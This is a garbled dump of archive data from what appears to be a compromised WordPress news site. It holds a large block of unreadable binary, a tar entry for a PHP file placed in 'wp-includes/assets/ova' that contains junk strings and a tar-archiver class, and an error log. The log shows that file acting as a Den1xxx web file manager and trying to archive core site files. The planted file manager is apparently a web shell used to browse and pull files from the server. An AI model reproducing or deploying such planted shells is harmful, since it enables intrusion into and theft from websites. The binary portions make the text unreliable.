ff/5"IOwRc/=(NޯtvkA?c"q4䘄2p}|o֏ +pRcٚ{j"4o6~?mVk=xkUld.ѫgvR?x(j?<֣q' wIh̊c%?VMNT9]u%.픐ҐKʆFBdM4 Jj8jذ$Q~5%쨘fGE;qiF2Whmޥ;aJ 4=>2<]ٞmqF)t쯷e1ZM'F[Jv[لjQVմHG[)^g[Lb3_ERfoǻn2]ho+%zl]Ja#Ӹ6CQrglOwlaW5J~c*&rE_ۿ&!RrxH,(; ՚0Y&PT1n olzj#ZGT΢jF3%dF1xjێ_gL1FJ6+0'6'BjeV(w+p[} +~%a 7Bsʆ͞o"8ӿ:P(_āBBT`{?\J9?Rø1@Io9/ q"^GLuƝeZziyv:TjxOJsgkU%+5P&z.aLr"#:[9l-5Xnv[-p>T7VMצ~"F f: ?bVYGS*٬UU62l^ ϱڨq\uHLD(ۡ8XEtXt7` Mlj?d(#b,Yw;-۠6ezDt/byX MڮJ;Ō.϶*_kݧՒvU~UK kP*7%9>nU^n;F?W?΢&jJ#ѝ_ vZC<-| ͐?N*MOl: W^mVƫͧI>_6Z>QZm uC(? o %xWF|sH9`sfY|k~F6/~+{?@P{/P 7 NX+OcC?PoC9}/%z Ea`_se^)75PZ,LǧdO Xќ&v_"sp}_Oߒ,Q7ȇ738*RiIHŌSwQ/F zZp>Zzg م1hĤw:FXl^/wXp ε1 {: #®8 cr,y _b"g}"P7TFA˵kR^)? &IB,7L<~a0wJP5A K`E&ȏ@e ^;%A d#6fb?؏8c@Փ < lw2.ͱO,8ېJz-(L N̏j#ؙ2^ؙ5 k'"|N]+\2tmo]v|7yG\ۀ$XH@ oCH+[-GT8!Acѡ~luCT;R2k{Mw5VOX EtVC;e\1L9&== lx9l&mNnY_t{nJH8fM J)iQ3tB2 \П06P+2|7\8*!ֺ!_V©1D$n-㊨!v\׬mԆ3nGLF4;5kȲ>qA> 6&L?a BG}a^Dp&f) dN ,c!A4U(g(rSuK׿u"Аєé큼C-ƭx9#X836a^`H&JPx2ߊ3Kp5hpdƟz5fcڊƏO{#Cbqh7(hD|10c&27?47;LEt{:쥽 {9Cp=؞|c>Ƒl%k9̨tI8z|M4U_~D"{ x/r3FѸ~pqhCo| .s8pkq}d٪{4$g$!xwcPZ)"[]&BK~:'K>inȀ |P狗CnXT=;؃cbk"+L_djsw' !r aicJE< 0:仓<=9?Ҳɟ|dSszȴ3"u?9~ٰ7>k( ,#-nt V; L>;yuݻ'.J J:hyʺf 1db.'v2$x➭aŽ|V3xVEƓ  / { @wLu+rSa7p D"|^a5S.ɆjCO5fC5r?j" hw Ѕ+YY>/b*Fğ·WߍSJ]-ඌuo)埝 [<A 7F>bjH'`H{q%':Hc|W.L ?>`UZ5'q9m_ Ct,غ u8Y!5EfX^A/BȐv]6!\YG|p>Ћv<l nχhǫ'miũ IJQ֊'JOh$te^Y,5@a7J%_")n~o.&l";PAOdk%W#slw[ƓMRc5;{'&$p`"j1=oK#%m,> V<_Xo0?=cC{{q[MFz%^ZkJ-F8!翦l9z{K /wAGy}5َf}>28Uw\ǼO0G!Vp5I'ЮXv,c*s6/f룇%sqV[7|܌r~ 3 ]0U(JΝ\`0H~qz| k98^{໢ ( g 7taN%&X.a$hS$TWJyoȷ'*)=Lū#R 4Y!#HpRk":zM+N*A7Ȏ'tNa{~ykq l?ѱ,R As`x sg|X+WcjwOϽ>7h<3i.+jBH4O$Si?{D]u/  `& `B 0!t~>2 "X\3~DO!<.slp$2C$$Bak4Kf-e>~do Cy\ &0sfX`o" m^1tufc"oF 1oPB?$CBa7"VRLYIQ3)e%E,X +-lE 4[ml-cQJdPRZC#~3qE/ϣ  H B*#g$LZ$N)T'ӹO0U1l+/kr\ % Uu X!&\+r 'h.P)#Wh$"w( D@zAE&,.X Jg ˹0鯷&ʓ2s%hhIRCLi(*X'> -OXYIAHP{"6{A^1wg"ۏs >RX ǻٗoF(#.^[>w;dany?lA| ւ3 e}g<,:?/^s$*F?uuc 83(#FѸюu`;ڄ574-2F֤C"?AQF]j >P^%/o/H2s7t*jt-'uܪN[+^L>V|^ra13"9CL[cNW DD͌]%18DN^GV6YdIM$:ml: -h]*H \L!?pǂ㛝GP =$^&т'XP "Aac*o9b|@|y"1% 1u*jτ0ԍay,6hmhuXWTɝI9c}Clõ=Ҋ)ez,[?f@#R\ʜi r-v0 U1k{60mm+狹ls"Y$ƏE;(3Qt`A6 @I/- GEw7{pCLE5g8 |` TN3wRR9{$ǜ]\m<ȕiM-:bg9 <"pd:#0yѱN i33gag i]מ/yDۼ|9gz韹FӨ-hhP Lp@MKGk#7OD:JN$QcH9.[6ꧨltlSSۿ዁1 *&7`#.w2r1{Ǹ2n3CKҞ9:kp\ڎbz (nwҪ-a:^@6&ZGf2LavU=sksݩY.N Cvչ fSS<`d珲B >a漴]VPG/jw{eyLrcjaf{׫:-۪sWm=j_`OqZk³4haO_6nN#0Gc/ǃ0/H8j]zL9,ɿ-f lD2_rd":ZF} Mm8V(]τ`<;NSІt-#)gv潘 ƍl^+Ҩ&c#<ϺC(6| "A+Go5Cֳ=)?H±MaN&h3y+0~g`_ww$DYFH</JQ_CTpL/ߝ{Ix9-35Va/|!~<H=qlڅ>__2](gffw# ΰQ8>p Hƴp3lX)L4^]3AIQT8x:{ U]g-?$$-D@T5GpK[K'̩#{7gUiq{&M f_@ڗ2]cGk+w-2r )XK{˰f^ۂ~a;hDb)?UPఎkwc O,lӖ7즇`>miBjAYemԼNN Ptf+,10~2aaKux۱yL1,|Ŀbh}'VuѣDoDp$>d7WٙS@Cb68U̒~N(Sۚ{'3ًD5cm݋}./)!*8NU޳_pO\ 0}줄៌É2UdfjD;D{d%~kjW_Ro= _kؤusN2-Cp7`4Za~C_))b6oTRT'UL˖^ u:E۶:[@Y4If?aWs3'ٚ?& ۶ub5x>nlQa㶍ۧ26)@*ydJ0%ljчLΑ6N O7= ͘=Gx~829U]*kϷh4exh*""Bw<^q yzp(dRsp{y4Vc 3FY&(XG,scqrzissSE;91FĨ08:,ox ,]0{0xbOp"̡zq$ºRϩ*hgL1l_0q .!$E|{|Uj9ߨo`Qte*U$Ϋ/]gP73'#0C$HpD\2̢Nn 3z{!33`|-Nc{!aY,Y GC4yARUĶ7pjC].m }}_8.;0?+lcFbQWsYzpS>,u;Y;|s{K"t8[ZϣS8xz=H>'@Dxr܇CwDڀOnZ|3$:wAp{m :1utd 2:~_Tl["ssCt.~x$X׳|Qv'M4,vbUOt-OَN= ZFw{`H[Q} &'u*5k.IdǶa%k=]}z-vG32_af :iyrBZ 8!rW-c>B??\&G>PK![\&G>>ova/index.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php000064400000233533150552703400021055 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK![8sr6r6 ova/error_lognu[[29-Aug-2025 22:43:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [29-Aug-2025 22:44:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 00:29:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 00:30:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 03:26:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 03:26:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 03:26:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 03:26:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 04:39:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 04:39:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:23:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:23:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:23:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:23:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:23:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:23:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 05:28:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configu[30-Aug-2025 07:29:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 07:29:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 08:11:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 08:11:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 08:11:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 08:11:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 08:11:55 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 596 [30-Aug-2025 08:11:55 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 597 [30-Aug-2025 09:33:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 09:33:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 09:35:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 09:35:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 09:35:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 09:35:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 10:45:26 UTC] PHP Warning: file_get_contents(): https:// w[30-Aug-2025 13:16:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 13:16:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 18:20:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 18:20:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 18:31:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 18:31:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 21:04:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 21:04:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 22:38:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 22:38:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [30-Aug-2025 22:38:55 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/script-loader-react-refresh-runtime.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/assets/script-loader-react-refresh-runtime.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 1117 [31-Aug-2025 04:39:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [31-Aug-2025 04:39:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [31-Aug-2025 04:42:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [31-Aug-2025 04:42:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 